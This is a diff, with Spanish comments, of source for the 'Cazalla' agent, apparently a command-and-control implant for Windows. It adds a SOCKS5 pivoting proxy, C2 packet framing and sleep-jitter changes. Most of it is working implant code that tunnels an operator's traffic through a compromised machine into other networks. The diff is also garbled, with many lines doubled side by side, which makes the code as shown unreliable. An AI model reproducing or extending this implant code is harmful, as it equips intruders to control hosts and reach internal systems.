//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) Sleep(2000); // Pausa 2 segundos para ver si inicia
//#endif
{
cazallaMain(); cazallaMain();
printf("=== CAZALLA AGENT EXITING ===\n");
fflush(stdout);
printf("Press any key to exit...\n");
getchar();
return 0; return 0;
} }
@@ -1,9 +1,16 @@
#include "cazalla.h" #include "cazalla.h"
#include "paquete.h" #include "paquete.h"
#include "socks_manager.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. #ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) { PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) { if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n"); _err("Error: fallo al asignar memoria para Paquete\n");
@@ -24,31 +31,98 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
} }
VOID liberarPaquete(PPaquete paquete) { VOID liberarPaquete(PPaquete paquete) {
DBG_PRINTF("liberarPaquete()");
LocalFree(paquete->buffer); LocalFree(paquete->buffer);
LocalFree(paquete); LocalFree(paquete);
} }
/* Callback C para volcar mensajes SOCKS al paquete */
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
PPaquete pkt = (PPaquete)ctx;
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
fflush(stdout);
addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) {
char *b64 = b64Codificado(data, (SIZE_T)data_len);
SIZE_T b64len = b64 ? strlen(b64) : 0;
addInt32(pkt, (UINT32)b64len);
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
if (b64) LocalFree(b64);
} else {
addInt32(pkt, 0);
}
printf("[SOCKS] flush_socks_cb completed\n");
fflush(stdout);
}
/* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) {
printf("[PAQUETE] flushSocksTraffic()\n");
fflush(stdout);
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) {
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n");
fflush(stdout);
return;
}
printf("[PAQUETE] temp paquete created\n");
fflush(stdout);
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length);
fflush(stdout);
if (temp->length > 0) {
printf("[PAQUETE] Adding SOCKS block marker\n");
fflush(stdout);
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
}
liberarPaquete(temp);
printf("[PAQUETE] flushSocksTraffic() completed\n");
fflush(stdout);
}
/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) { PAnalizador mandarPaquete(PPaquete paquete) {
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length);
fflush(stdout);
// Solo añadir tráfico SOCKS si el proxy está activo
if (socks_proxy_active) {
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n");
fflush(stdout);
flushSocksTraffic(paquete);
} else {
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n");
fflush(stdout);
}
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
fflush(stdout);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) { if (!respuesta) {
printf("[PAQUETE] ERROR: respuesta NULL\n");
fflush(stdout);
paqueteParaMandar = NULL; paqueteParaMandar = NULL;
return NULL; return NULL;
} }
printf("[PAQUETE] respuesta OK\n");
fflush(stdout);
return respuesta; return respuesta;
} }
/* === Funciones auxiliares === */
BOOL addByte(PPaquete paquete, BYTE byte) { BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) { if (!paquete->buffer) {
return FALSE; return FALSE;
@@ -58,33 +132,27 @@ BOOL addByte(PPaquete paquete, BYTE byte) {
return TRUE; return TRUE;
} }
BOOL addInt32(PPaquete paquete, UINT32 valor) { BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) { if (!paquete->buffer) {
return FALSE; return FALSE;
} }
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32); paquete->length += sizeof(UINT32);
return TRUE; return TRUE;
} }
BOOL addInt64(PPaquete paquete, UINT64 valor) { BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) { if (!paquete->buffer) {
return FALSE; return FALSE;
} }
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64); paquete->length += sizeof(UINT64);
return TRUE; return TRUE;
} }
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) { if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) { if (!addInt32(paquete, tamano)) {
return FALSE; return FALSE;
@@ -95,10 +163,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (!paquete->buffer) { if (!paquete->buffer) {
return FALSE; return FALSE;
} }
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano; paquete->length += tamano;
} }
@@ -106,7 +170,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
} }
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE; return FALSE;
} }
@@ -120,33 +183,24 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
return TRUE; return TRUE;
} }
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
{
va_list args; va_list args;
va_start(args, fmt); va_start(args, fmt);
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
// Determine how much space is needed for the formatted string
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
va_end(args); va_end(args);
// Allocate a temporary buffer for the formatted string
char* tempBuffer = (char*)malloc(requiredLength); char* tempBuffer = (char*)malloc(requiredLength);
if (tempBuffer == NULL) if (!tempBuffer) return FALSE;
{
return FALSE; // Memory allocation failed
}
va_start(args, fmt); va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args); vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args); va_end(args);
// Use addString to add the formatted string to the package if (!addString(package, tempBuffer, copySize)) {
if (!addString(package, tempBuffer, copySize))
return FALSE;
// Free the temporary buffer
free(tempBuffer); free(tempBuffer);
return FALSE;
}
free(tempBuffer);
return TRUE; return TRUE;
} }
@@ -28,4 +28,7 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
/* Formatted append helper */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#endif #endif
@@ -4,6 +4,10 @@
#include "analizador.h" #include "analizador.h"
#include "identity.h" #include "identity.h"
#include "spawn.h" #include "spawn.h"
/* forward decls to avoid implicit warnings */
BOOL SelfIsWindowsVistaOrLater();
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#include <tlhelp32.h> #include <tlhelp32.h>
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) { BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
@@ -1,5 +1,12 @@
#include "sleep.h" #include "sleep.h"
#include "cazalla.h" #include "cazalla.h"
#include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
BOOL sleep(PAnalizador argumentos) { BOOL sleep(PAnalizador argumentos) {
@@ -16,30 +23,39 @@ BOOL sleep(PAnalizador argumentos) {
const int minVarianza = 1; const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2; const int rangoVarianza = maxVarianza / 2;
int Rand = aleatorioInt32(0, rangoVarianza); int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += Rand; tiempoSleep += Rand;
if (tiempoSleep < minVarianza) { if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza; tiempoSleep = minVarianza;
} }
if (cazallaConfig == NULL) { if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n"); _err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE; return FALSE;
} }
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
/* convertir a milisegundos */
tiempoSleep = tiempoSleep * 1000; tiempoSleep = tiempoSleep * 1000;
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico");
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
}
cazallaConfig->tiempoSleep = tiempoSleep; cazallaConfig->tiempoSleep = tiempoSleep;
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
/* respuesta al servidor */
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE); addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep); addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea); mandarPaquete(respuestaTarea);
liberarPaquete(respuestaTarea);
return TRUE; return TRUE;
} }
@@ -7,6 +7,7 @@
#include "analizador.h" #include "analizador.h"
#include "comandos.h" #include "comandos.h"
#include "utils.h" #include "utils.h"
#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active
BOOL sleep(PAnalizador argumentos); BOOL sleep(PAnalizador argumentos);
@@ -0,0 +1,569 @@
#include "socks_manager.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "utils.h"
#include <stdint.h>
#include <errno.h>
#ifdef _WIN32
//#include <winsock2.h>
//#include <ws2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
typedef SOCKET sock_t;
#define CLOSESOCK(s) closesocket(s)
#else
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
typedef int sock_t;
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSESOCK(s) close(s)
#endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
typedef struct conn_entry {
uint32_t server_id;
sock_t sock;
struct conn_entry *next;
int closed;
} conn_entry_t;
static conn_entry_t *conn_list = NULL;
#ifdef _WIN32
static CRITICAL_SECTION conn_lock;
#else
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
typedef struct outgoing_node {
socks_msg_t msg;
struct outgoing_node *next;
} outgoing_node_t;
static outgoing_node_t *out_head = NULL;
static outgoing_node_t *out_tail = NULL;
#ifdef _WIN32
static CRITICAL_SECTION out_lock;
#else
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
static void lock_init_once(void) {
#ifdef _WIN32
InitializeCriticalSection(&conn_lock);
InitializeCriticalSection(&out_lock);
#endif
}
/* === Inicialización / limpieza === */
void socks_manager_init(void) {
DBG_PRINTF("socks_manager_init()");
lock_init_once();
#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
#endif
}
void socks_manager_cleanup(void) {
DBG_PRINTF("socks_manager_cleanup()");
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
conn_entry_t *n = cur->next;
free(cur);
cur = n;
}
conn_list = NULL;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
DeleteCriticalSection(&conn_lock);
DeleteCriticalSection(&out_lock);
WSACleanup();
#else
pthread_mutex_unlock(&conn_lock);
#endif
socks_proxy_active = 0;
}
/* === Gestión de conexiones === */
static conn_entry_t* find_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->server_id == server_id) {
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return cur;
}
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return NULL;
}
static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
conn_entry_t *e = malloc(sizeof(conn_entry_t));
if (!e) return NULL;
e->server_id = server_id;
e->sock = s;
e->next = NULL;
e->closed = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
e->next = conn_list;
conn_list = e;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s);
return e;
}
static void remove_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list, *prev = NULL;
while (cur) {
if (cur->server_id == server_id) {
if (prev) prev->next = cur->next;
else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
DBG_PRINTF("remove_entry sid=%u", server_id);
free(cur);
break;
}
prev = cur;
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
}
/* === Cola de salida === */
static void enqueue_outgoing(socks_msg_t *m) {
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len);
fflush(stdout);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id;
n->msg.exit_flag = m->exit_flag;
n->msg.data_len = m->data_len;
if (m->data_len) {
n->msg.data = malloc(m->data_len);
memcpy(n->msg.data, m->data, m->data_len);
} else n->msg.data = NULL;
n->next = NULL;
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
if (!out_tail) out_head = out_tail = n;
else { out_tail->next = n; out_tail = n; }
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id);
fflush(stdout);
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
}
/* === Volcado de cola de salida === */
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
printf("[SOCKS_MGR] flush_outgoing: iniciando\n");
fflush(stdout);
if (!cb) {
printf("[SOCKS_MGR] ERROR: callback es NULL\n");
fflush(stdout);
return;
}
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
outgoing_node_t *n = out_head;
out_head = out_tail = NULL;
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
int count = 0;
while (n) {
count++;
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
fflush(stdout);
outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
if (n->msg.data) free(n->msg.data);
free(n);
n = next;
}
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count);
fflush(stdout);
}
/* === Base64 === */
extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
/* === Parseo SOCKS5 === */
static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) {
if (data_len < 7) return -1;
if (data[0] == 0x05) {
if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) {
unsigned char atyp = data[3];
if (atyp == 0x01 && data_len >= 10) {
snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]);
*out_port = (uint16_t)((data[8] << 8) | data[9]);
return 0;
} else if (atyp == 0x03) {
unsigned int len = data[4];
if (data_len >= 7 + len) {
memcpy(out_ip, &data[5], len);
out_ip[len] = 0;
*out_port = (uint16_t)((data[5+len] << 8) | data[6+len]);
return 0;
}
}
}
}
return -1;
}
/* === Thread lector === */
#ifdef _WIN32
DWORD WINAPI remote_reader_thread(LPVOID arg);
#else
static void* remote_reader_thread(void* arg);
#endif
typedef struct reader_args {
uint32_t server_id;
sock_t s;
} reader_args_t;
#ifdef _WIN32
DWORD WINAPI remote_reader_thread(LPVOID arg) {
reader_args_t *ra = (reader_args_t*)arg;
uint32_t sid = ra->server_id;
sock_t s = ra->s;
free(ra);
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s);
fflush(stdout);
unsigned char buf[4096];
int loop_count = 0;
while (1) {
loop_count++;
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count);
fflush(stdout);
int r = recv(s, (char*)buf, sizeof(buf), 0);
printf("[READER] sid=%u recv() retornó r=%d", sid, r);
if (r < 0) {
int err = WSAGetLastError();
printf(" WSAError=%d", err);
}
printf("\n");
fflush(stdout);
if (r <= 0) break;
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r);
fflush(stdout);
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
printf("[READER] sid=%u datos encolados OK\n", sid);
fflush(stdout);
}
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid);
fflush(stdout);
DBG_PRINTF("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
printf("[READER] Thread terminado para sid=%u\n", sid);
fflush(stdout);
return 0;
}
#else
static void* remote_reader_thread(void* arg) {
reader_args_t *ra = (reader_args_t*)arg;
uint32_t sid = ra->server_id;
sock_t s = ra->s;
free(ra);
unsigned char buf[4096];
while (1) {
ssize_t r = recv(s, buf, sizeof(buf), 0);
if (r <= 0) break;
DBG_PRINTF("reader sid=%u recv=%zd", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
}
DBG_PRINTF("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
return NULL;
}
#endif
/* === Conexión remota === */
typedef struct {
uint32_t ipv4; // en network byte order
uint16_t port; // en network byte order
} socks_bound_addr_t;
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id);
fflush(stdout);
if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
fflush(stdout);
DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
return -4;
}
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
struct sockaddr_in sa;
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
printf("[SOCKS_MGR] ERROR: socket() failed\n");
fflush(stdout);
return -1;
}
printf("[SOCKS_MGR] Socket creado OK\n");
fflush(stdout);
memset(&sa,0,sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) {
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
fflush(stdout);
struct hostent *h = gethostbyname(dest);
if (!h) {
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n");
fflush(stdout);
CLOSESOCK(s);
return -2;
}
sa.sin_addr = *(struct in_addr*)h->h_addr;
printf("[SOCKS_MGR] Hostname resuelto OK\n");
fflush(stdout);
}
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
fflush(stdout);
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno);
fflush(stdout);
DBG_PRINTF("connect() failed errno=%d", errno);
CLOSESOCK(s);
return -3;
}
printf("[SOCKS_MGR] Conexión exitosa!\n");
fflush(stdout);
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
if (bound) {
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
bound->port = sa.sin_port; // ya en network byte order
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port));
fflush(stdout);
}
/* timeout para evitar bloqueo indefinido */
int timeout_ms = 15000; // 15s
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
DBG_PRINTF("socket timeout set %d ms", timeout_ms);
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id);
fflush(stdout);
create_entry(server_id, s);
#ifdef _WIN32
reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s;
printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id);
fflush(stdout);
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
#else
pthread_t tid;
reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s;
pthread_create(&tid, NULL, remote_reader_thread, ra);
pthread_detach(tid);
#endif
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id);
fflush(stdout);
return 0;
}
/* === Procesamiento principal === */
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
fflush(stdout);
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
fflush(stdout);
DBG_PRINTF("invalid server_id=%u", server_id);
return -4;
}
if (exit_flag) {
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id);
fflush(stdout);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
return 0;
}
conn_entry_t *e = find_entry(server_id);
if (!e) {
char dest[256]; uint16_t dport=0;
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport);
fflush(stdout);
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
if (r != 0) return -1;
socks_bound_addr_t bound;
memset(&bound, 0, sizeof(bound));
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc);
fflush(stdout);
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
if (rc != 0) {
printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc);
fflush(stdout);
return -2;
}
/* Construir respuesta SOCKS5 con bound address real */
unsigned char reply[10];
reply[0] = 0x05; // SOCKS5
reply[1] = 0x00; // Success
reply[2] = 0x00; // Reserved
reply[3] = 0x01; // IPv4
/* Copiar IP (4 bytes en network byte order) */
memcpy(&reply[4], &bound.ipv4, 4);
/* Copiar puerto (2 bytes en network byte order) */
memcpy(&reply[8], &bound.port, 2);
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n",
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
fflush(stdout);
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
enqueue_outgoing(&m);
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id);
fflush(stdout);
return 0;
} else {
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len);
fflush(stdout);
if (e->sock != INVALID_SOCKET) {
size_t total = 0;
while (total < data_len) {
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len);
fflush(stdout);
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w);
fflush(stdout);
if (w <= 0) {
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id);
fflush(stdout);
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
return -1;
}
total += w;
}
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len);
fflush(stdout);
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
return 0;
} else {
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id);
fflush(stdout);
return -2;
}
}
}
/* === Stubs start/stop === */
int socks_manager_start_proxy(uint16_t local_port) {
socks_proxy_active = 1;
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port);
(void)local_port;
return 0;
}
int socks_manager_stop_proxy(void) {
DBG_PRINTF("socks_manager_stop_proxy()");
socks_proxy_active = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return 0;
}
@@ -0,0 +1,43 @@
